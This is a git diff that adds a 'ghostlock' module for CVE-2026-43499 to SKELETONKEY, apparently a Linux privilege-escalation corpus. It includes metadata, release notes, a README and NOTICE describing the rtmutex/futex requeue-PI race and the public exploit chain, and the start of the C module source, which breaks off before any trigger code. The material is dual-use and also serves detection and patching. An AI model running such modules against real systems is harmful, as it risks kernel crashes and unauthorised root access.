See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+8
View File
@@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false, .in_kev = false,
.kev_date_added = "", .kev_date_added = "",
}, },
{
.cve = "CVE-2026-43499",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{ {
.cve = "CVE-2026-46242", .cve = "CVE-2026-46242",
.cwe = "CWE-416", .cwe = "CWE-416",
+1
View File
@@ -60,6 +60,7 @@ void skeletonkey_register_sudo_host(void);
void skeletonkey_register_cifswitch(void); void skeletonkey_register_cifswitch(void);
void skeletonkey_register_nft_catchall(void); void skeletonkey_register_nft_catchall(void);
void skeletonkey_register_bad_epoll(void); void skeletonkey_register_bad_epoll(void);
void skeletonkey_register_ghostlock(void);
/* Call every skeletonkey_register_<family>() above in canonical order. /* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay * Single source of truth so the main binary and the test binary stay
+1
View File
@@ -56,4 +56,5 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_cifswitch(); skeletonkey_register_cifswitch();
skeletonkey_register_nft_catchall(); skeletonkey_register_nft_catchall();
skeletonkey_register_bad_epoll(); skeletonkey_register_bad_epoll();
skeletonkey_register_ghostlock();
} }
+9
View File
@@ -314,6 +314,15 @@
"in_kev": false, "in_kev": false,
"kev_date_added": "" "kev_date_added": ""
}, },
{
"cve": "CVE-2026-43499",
"module_dir": "ghostlock_cve_2026_43499",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{ {
"cve": "CVE-2026-46242", "cve": "CVE-2026-46242",
"module_dir": "bad_epoll_cve_2026_46242", "module_dir": "bad_epoll_cve_2026_46242",
+2 -1
View File
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
in the wild per the Known Exploited Vulnerabilities catalog. in the wild per the Known Exploited Vulnerabilities catalog.
Refreshed via `tools/refresh-cve-metadata.py`. Refreshed via `tools/refresh-cve-metadata.py`.
**13 of 39 modules cover KEV-listed CVEs.** **13 of 40 modules cover KEV-listed CVEs.**
## In KEV (prioritize patching) ## In KEV (prioritize patching)
@@ -54,6 +54,7 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` | | CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` | | CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` | | CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
| CVE-2026-43499 | CWE-416 | `ghostlock_cve_2026_43499` |
| CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` | | CVE-2026-46242 | CWE-416 | `bad_epoll_cve_2026_46242` |
| CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` | | CVE-2026-46243 | CWE-20 | `cifswitch_cve_2026_46243` |
| CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` | | CVE-2026-46300 | CWE-787 | `fragnesia_cve_2026_46300` |
+54
View File
@@ -1,3 +1,57 @@
## SKELETONKEY v0.9.13 — new LPE module: ghostlock (CVE-2026-43499)
Adds **`ghostlock` — CVE-2026-43499 "GhostLock"** (VEGA / Nebula Security,
"IonStack part II"), taking the corpus to **45 modules / 40 CVEs** and opening a
brand-new subsystem: **rtmutex / futex requeue-PI** (`kernel/locking/rtmutex.c`).
It is also the corpus's first kernel-**stack** use-after-free — every other UAF
in the set is heap/slab. On the `-EDEADLK` deadlock-rollback path,
`remove_waiter()` operates on `current` instead of the actual waiter task while
unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
`futex_requeue()`); if a concurrent PI-chain priority walk — driven from another
CPU via `sched_setattr()` — runs at that instant, `pi_blocked_on` is cleared on
the wrong task and an on-stack `rt_mutex_waiter` is left dangling, becoming a
controlled kernel write when the rbtree is later rotated over the reused frame.
Reachable by **any unprivileged user** (CVSS 7.8, PR:L) — plain `futex(2)` +
`sched_setattr(2)`, no user namespace, no capability, only `CONFIG_FUTEX_PI`
(universal). It has existed since PI-futex requeue landed in **2.6.39** — ~15
years across every distribution. The public exploit weaponises it (Android/Pixel)
via a "KernelSnitch" futex-bucket page leak → forged waiter → `struct file`
`f_op` → configfs/ashmem R/W → pipe physical R/W → cred patch; ~97% stable on
kernelCTF, $92,337. Introduced 2.6.39; fixed `3bfdc63936dd` (merged 7.1-rc1),
stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175 — the
5.15/5.10/5.4/4.19 LTS branches are affected with no upstream fix. CWE-416 (race
root cause CWE-362); not in CISA KEV.
🟡 **Trigger (reconstructed) — reachability-only, deliberately under-driven, not
VM-verified.** `detect()` is a pure kernel-version gate over a five-branch
backport table (7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175, 7.1+ inherits
mainline; 5.15/5.10/5.4/4.19 affected with no fix; < 2.6.39 not affected) — no
userns/CONFIG probe (`CONFIG_FUTEX_PI` assumed). `exploit()` forks an isolated
child that **(A)** deterministically confirms the `-EDEADLK` `remove_waiter()`
rollback path is reachable — a **safe** witness, since without a concurrent
priority walk the unwind creates no dangling pointer (validated on real hardware:
the requeue-PI cycle returns `-EDEADLK` reliably) — then **(B)** exercises the
actual race a hard-bounded 24 iterations / 2 s with a sibling-CPU
`sched_setattr(SCHED_BATCH)` storm, and stops. It does **not** widen the
`copy_from_user` window (no memfd/`PUNCH_HOLE`), does **not** spray or reoccupy
the freed stack frame, and does **not** bundle the KernelSnitch leak →
forged-waiter → fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-
specific, per-build offsets). Returns `EXPLOIT_FAIL`. It carries the corpus's
**lowest `--auto` safety rank (11)** — a won race corrupts the kernel stack and
drives a near-arbitrary pointer write (near-certain panic), so `--auto` only
reaches for it after every safer vulnerable module. Unlike most kernel races
GhostLock has a **real detection signature**: a futex requeue-PI op returning
`-EDEADLK` (glibc never provokes this) plus tight-loop
`sched_setattr(SCHED_BATCH)` on a sibling thread — the shipped auditd/sigma rules
anchor on `sched_setattr` + the post-exploitation euid-0 transition, the
falco/eBPF rule on the requeue-PI-EDEADLK tell; no yara. Wired: registry,
Makefile, safety rank (11), 9 `detect()` test rows (incl. the multi-branch
"newer than all" case 6.13.0 → VULNERABLE), CVE metadata (CWE-416 / T1068 /
not-KEV), README + CVES.md + website counts (45/40), RELEASE_NOTES v0.9.13, and a
verify-vm target (sweep pending). Also corrects pre-existing website drift left
by v0.9.12 (index.html body counts + the missing `bad_epoll` corpus pill).
Credits VEGA / Nebula Security + the upstream fix `3bfdc63936dd`.
## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242) ## SKELETONKEY v0.9.12 — new LPE module: bad_epoll (CVE-2026-46242)
Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung / Adds **`bad_epoll` — CVE-2026-46242 "Bad Epoll"** (Jaeyoung Chung /
+13 -11
View File
@@ -4,9 +4,9 @@
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title> <title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 44 Linux privilege-escalation modules from 2016 to 2026. 28 of 39 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings."> <meta name="description" content="One binary. 45 Linux privilege-escalation modules from 2016 to 2026. 28 of 40 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified"> <meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="44 Linux LPE modules; 28 of 39 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated."> <meta property="og:description" content="45 Linux LPE modules; 28 of 40 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website"> <meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/"> <meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png"> <meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
@@ -62,8 +62,8 @@
<span class="display-wordmark">SKELETONKEY</span> <span class="display-wordmark">SKELETONKEY</span>
</h1> </h1>
<p class="hero-tag"> <p class="hero-tag">
One binary. <strong>43 Linux LPE modules</strong> covering 38 CVEs — One binary. <strong>45 Linux LPE modules</strong> covering 40 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 38 confirmed against <strong>every year 2016 → 2026</strong>. 28 of 40 confirmed against
real Linux kernels in VMs. SOC-ready detection rules in four SIEM real Linux kernels in VMs. SOC-ready detection rules in four SIEM
formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated. formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span> <span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
@@ -81,7 +81,7 @@
</div> </div>
<div class="stats-row" id="stats-row"> <div class="stats-row" id="stats-row">
<div class="stat-chip"><span class="num" data-target="43">0</span><span>modules</span></div> <div class="stat-chip"><span class="num" data-target="45">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div> <div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div> <div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div> <div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
<div class="bento-icon"></div> <div class="bento-icon"></div>
<h3>CISA KEV prioritized</h3> <h3>CISA KEV prioritized</h3>
<p> <p>
13 of 38 CVEs in the corpus are in CISA's Known Exploited 13 of 40 CVEs in the corpus are in CISA's Known Exploited
Vulnerabilities catalog — actively exploited in the wild. Vulnerabilities catalog — actively exploited in the wild.
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>. Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
</p> </p>
@@ -289,12 +289,12 @@ uid=0(root) gid=0(root)</pre>
<article class="bento-card bento-vfy"> <article class="bento-card bento-vfy">
<div class="bento-icon"></div> <div class="bento-icon"></div>
<h3>22 modules empirically verified</h3> <h3>28 modules empirically verified</h3>
<p> <p>
<code>tools/verify-vm/</code> spins up known-vulnerable <code>tools/verify-vm/</code> spins up known-vulnerable
kernels (stock distro + mainline from kernel.ubuntu.com), runs kernels (stock distro + mainline from kernel.ubuntu.com), runs
<code>--explain --active</code> per module, and records the <code>--explain --active</code> per module, and records the
verdict. <strong>28 of 38 CVEs</strong> confirmed against verdict. <strong>28 of 40 CVEs</strong> confirmed against
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary; + mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
<code>--list</code> shows ✓ per module. <code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
<div class="container"> <div class="container">
<div class="section-head"> <div class="section-head">
<span class="section-tag">corpus</span> <span class="section-tag">corpus</span>
<h2>38 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2> <h2>40 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
</div> </div>
<h3 class="corpus-h" data-color="green"> <h3 class="corpus-h" data-color="green">
@@ -358,6 +358,8 @@ uid=0(root) gid=0(root)</pre>
<span class="pill yellow">ptrace_pidfd</span> <span class="pill yellow">ptrace_pidfd</span>
<span class="pill yellow">cifswitch</span> <span class="pill yellow">cifswitch</span>
<span class="pill yellow">nft_catchall</span> <span class="pill yellow">nft_catchall</span>
<span class="pill yellow">bad_epoll</span>
<span class="pill yellow">ghostlock</span>
</div> </div>
<p class="corpus-foot"> <p class="corpus-foot">
@@ -418,7 +420,7 @@ uid=0(root) gid=0(root)</pre>
<div class="audience-icon">🎓</div> <div class="audience-icon">🎓</div>
<h3>Researchers / CTF</h3> <h3>Researchers / CTF</h3>
<p> <p>
38 CVEs, 10-year span, each with the original PoC author 40 CVEs, 10-year span, each with the original PoC author
credited and the kernel-range citation auditable. credited and the kernel-range citation auditable.
<code>--explain</code> shows the reasoning chain; detection <code>--explain</code> shows the reasoning chain; detection
rules let you practice both sides. Source is the documentation. rules let you practice both sides. Source is the documentation.
@@ -515,7 +517,7 @@ uid=0(root) gid=0(root)</pre>
<div class="tl-col tl-shipped"> <div class="tl-col tl-shipped">
<div class="tl-tag">shipped</div> <div class="tl-tag">shipped</div>
<ul> <ul>
<li><strong>28 of 38 CVEs empirically verified</strong> in real Linux VMs</li> <li><strong>28 of 40 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li> <li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
<li>Per-module <code>verified_on[]</code> table baked into the binary</li> <li>Per-module <code>verified_on[]</code> table baked into the binary</li>
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li> <li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
+123
View File
@@ -0,0 +1,123 @@
# ghostlock — CVE-2026-43499
"GhostLock" — a race-condition use-after-free on **kernel stack** memory in
the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`),
reachable by **any unprivileged local user** (CVSS PR:L). No user namespace,
no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally
enabled). It has existed since PI-futex requeue landed — **~15 years, across
every distribution** — which is what makes it remarkable.
## The bug
On the deadlock-rollback path, `remove_waiter()` operates on `current`
instead of the actual waiter task while unwinding a proxy lock in
`rt_mutex_start_proxy_lock()` — reached from `futex_requeue()`. If a
concurrent PI-chain priority walk (driven from another CPU via
`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the
**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a
task's waiter / pi tree. When the kernel later rotates that rbtree over the
(now-reused) stack frame, the forged node fields become a controlled kernel
write → use-after-free.
The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula
Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits
`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers
`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate
full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked
kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites
a `struct file` `f_op` → configfs/ashmem arbitrary R/W → pipe physical R/W →
cred patch → root. ~**97% stable** on kernelCTF; Google awarded **$92,337**.
## Affected range
| | |
|---|---|
| Introduced | PI-futex requeue — **2.6.39** (commit `8161239a8bcc`) |
| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") — merged **7.1-rc1** |
| Stable backports | **7.0.4** · 6.18.27 · **6.12.86** (LTS) · **6.6.140** (LTS) · **6.1.175** (LTS) |
| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) |
| Not affected | < 2.6.39 (predates PI-futex requeue) |
| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L |
| CISA KEV | no (brand new) |
The `kernel_range` table carries one entry per backported branch;
`kernel_range_is_patched()` marks any branch strictly newer than all of them
(7.1+) patched-via-mainline and everything below the on-branch threshold
vulnerable — including the 5.x LTS lines that have no published fix. Extend
the table as more branches backport (the drift checker flags them). Source:
the Linux kernel CNA record (`git.kernel.org/stable/c/<hash>`), corroborated
by the Debian / Ubuntu / SUSE trackers.
## Trigger / detection
`detect()` is a **pure version gate** — no active probe, because there is no
cheap, safe way to distinguish vulnerable from patched without winning the
race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE`
in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect()
**assumes** rather than probes; there is no userns / capability precondition
(any local user — CVSS PR:L).
`exploit()` forks an isolated child and runs two phases:
- **(A) deterministic + safe** — builds the requeue-PI cycle (a waiter
holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner
holding the "target" PI-futex and blocked on the chain) and fires
`FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That
proves the `remove_waiter()` rollback path — where the bug lives — is
reachable here. Without a concurrent priority walk the rollback is the
kernel's normal, correct deadlock rejection: it creates no dangling
pointer, so this phase is safe on any kernel. *(Validated on real hardware:
the cycle returns `-EDEADLK` deterministically.)*
- **(B) hard-bounded window exercise** — repeats (A) a small, wall-clock-
capped number of times (24 iterations / 2 s) with a sibling-CPU
`sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the
priority walk with the rollback (the actual race). Then it stops.
It is **deliberately under-driven**. A *won* race corrupts the kernel
**stack** and drives a near-arbitrary pointer write — near-certain panic on a
vulnerable host. So this module does **not** widen the `copy_from_user`
window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed
stack frame, and does **not** bundle the KernelSnitch leak → forged-waiter →
fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
per-build offsets). The trigger is **reconstructed from the public PoC and is
not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not
get.
Because a kernel race that corrupts the stack is the least predictable class
in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 —
just below `bad_epoll`), so `--auto` only reaches for it after every safer
vulnerable module.
## Detection — better than most kernel races, but read this
Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every
event loop), GhostLock has a **genuinely distinctive tell**: a futex
requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning
`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never
provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling
thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the
`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch
would flood any host. So:
- **auditd / sigma** anchor on the far rarer `sched_setattr` /
`sched_setaffinity` drivers plus the post-exploitation euid-0 transition.
- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns
`EDEADLK` + sibling `sched_setattr`) — it can see the op and the return
value.
There is no yara rule (in-kernel race, no file artifact). Tune the
`sched_setattr` anchor per environment — real-time and scheduler-tuning
daemons will false-positive.
## Fix / mitigation
Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or
7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at
runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path.
`mitigate()` is `NULL` for that reason.
## Credit
Discovery, research, and the public PoC: **VEGA / Nebula Security**
(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong /
Thomas Gleixner). See `NOTICE.md`.
@@ -0,0 +1,76 @@
# NOTICE — ghostlock (CVE-2026-43499)
## Vulnerability
**CVE-2026-43499** — "GhostLock", a **race-condition use-after-free** on
kernel **stack** memory in the Linux rtmutex / futex requeue-PI path
(`kernel/locking/rtmutex.c`). On the deadlock-rollback path,
`remove_waiter()` operates on `current` instead of the actual waiter task
while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
`futex_requeue()`); a concurrent PI-chain priority walk driven via
`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and
leaves an on-stack `struct rt_mutex_waiter` dangling → UAF when the kernel
later rotates the rbtree over the reused stack frame.
The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) —
`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special
config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since
PI-futex requeue landed in **2.6.39** — ~15 years across every distribution.
NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause.
**Not** in CISA KEV (brand new).
## Research credit
- **Discovery, research, and public PoC** by **VEGA / Nebula Security**
(`@nebusecurity`, <https://nebusec.ai>), published as "IonStack part II:
GhostLock" (<https://nebusec.ai/research/ionstack-part-2/>). Exploit code:
<https://github.com/NebuSec/CyberMeowfia> (`IonStack/CVE-2026-43499`,
Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable
privilege escalation / container escape. SKELETONKEY's trigger
reconstruction is informed by the public PoC's requeue-PI cycle shape only
— no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch
arithmetic is reused.
- **Introduced** with PI-futex requeue in **2.6.39** (commit
`8161239a8bcc`).
- **Fixed upstream** by commit
`3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task
instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner),
merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 /
6.6.140 / 6.1.175**.
- Authoritative backport versions: the Linux kernel CNA record
(<https://cveawg.mitre.org/api/cve/CVE-2026-43499>,
`git.kernel.org/stable/c/<hash>`), corroborated by the Debian
(<https://security-tracker.debian.org/tracker/CVE-2026-43499>), Ubuntu, and
SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected
with no upstream stable fix published at time of writing.
All credit for finding, analysing, and exploiting this bug belongs to VEGA /
Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is
the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — reachability-only, not VM-verified.** This is
the corpus's first rtmutex / futex-PI module and its cleanest example of a
kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on
the same "fire the bug class and stop" contract as `stackrot`
(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll`
(CVE-2026-46242).
`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below
the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175,
7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no
userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal).
`exploit()` forks an isolated child that confirms the `-EDEADLK`
`remove_waiter()` rollback path is reachable (deterministic, safe) and then
exercises the actual race a hard-bounded 24 iterations / 2 s with a
sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops.
It is **deliberately under-driven**: a won race corrupts the kernel stack and
drives a near-arbitrary pointer write (near-certain panic), so the module does
not widen the `copy_from_user` window, does not spray/reoccupy the freed
frame, and does not bundle the KernelSnitch leak → forged on-stack
`rt_mutex_waiter` → fops/configfs/ashmem/pipe R/W → cred-patch root-pop
(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from
the public PoC, not VM-verified — it never claims root it did not get. It
carries the lowest `--auto` safety rank in the corpus.
@@ -0,0 +1,567 @@
/*
* ghostlock_cve_2026_43499 — SKELETONKEY module
*
* CVE-2026-43499 — "GhostLock", a race-condition use-after-free on kernel
* STACK memory in the Linux rtmutex / futex requeue-PI code path
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
* remove_waiter() operates on `current` instead of the actual waiter task
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() — reached
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
* from another CPU via sched_setattr()) runs at that instant,
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
* When the kernel later rotates that rbtree over the (now-reused) stack
* frame, the forged node fields become a controlled kernel write → UAF.
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
* sched_setattr(2), no user namespace, no capability, no special CONFIG
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
* PI-futex requeue landed — ~15 years, across every distribution.
*
* Public research + PoC — "IonStack part II: GhostLock" by VEGA / Nebula
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
* overwrites a struct file f_op → configfs/ashmem arbitrary R/W → pipe
* physical R/W → cred patch → root. ~97% stable on kernelCTF; Google
* awarded $92,337.
*
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
* stable fix published at time of writing. NOT in CISA KEV (brand new).
*
* STATUS: 🟡 TRIGGER (reconstructed) — reachability-only, NOT VM-verified.
* exploit() forks an isolated child that, in two phases:
* (A) DETERMINISTIC + SAFE — builds the requeue-PI cycle (a waiter
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
* an owner holding the "target" PI-futex and blocked on the chain)
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
* rollback path (where the bug lives) is REACHABLE on this host.
* With no concurrent priority walk, the rollback is the kernel's
* normal, correct deadlock rejection — it creates no dangling
* pointer, so this phase is safe on any kernel.
* (B) HARD-BOUNDED window exercise — repeats (A) a small, wall-clock-
* capped number of times with a sibling-core consumer thread
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
* PI-chain priority walk overlaps the rollback (the actual race).
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
* copy_from_user widening and the kernel-stack spray that make a
* win likely, does NOT reoccupy the freed frame, and does NOT
* bundle the KernelSnitch leak → forged-waiter → fops/configfs/
* ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
* per-build offsets). It returns EXPLOIT_FAIL and never claims
* root it did not get.
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
* pointer write — near-certain panic on a vulnerable host — which is why
* this carries the lowest --auto safety rank in the corpus (see
* module_safety_rank() in skeletonkey.c).
*
* detect() is a pure version gate: vulnerable iff the running kernel is
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
* detect() ASSUMES rather than probes — no distro tracker publishes a
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
* userns / capability precondition (CVSS PR:L, any local user).
*
* arch_support: any — the bug and this reachability probe are arch-neutral
* (futex / sched_setattr / pthreads); only the public *weaponization* is
* arm64/Android-specific, and none of it is bundled here.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/syscall.h>
/* futex operation constants — define defensively; <linux/futex.h> is not
* always present and can clash with libc headers. */
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_UNLOCK_PI
#define FUTEX_UNLOCK_PI 7
#endif
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_CLOCK_REALTIME
#define FUTEX_CLOCK_REALTIME 256
#endif
#ifndef SCHED_BATCH
#define SCHED_BATCH 3
#endif
/* ------------------------------------------------------------------
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
* stable backports shipped per LTS branch below. A branch with an exact
* entry is patched iff host.patch >= entry.patch; any branch strictly
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
* branch (5.4/5.10/5.15 — affected, no upstream fix — and the EOL lines
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
* kernel_range_is_patched() implements exactly that. Extend the table as
* more branches publish backports (the drift checker flags them).
* Authoritative source: the Linux kernel CNA record (git.kernel.org
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from ghostlock_patched_branches[] = {
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
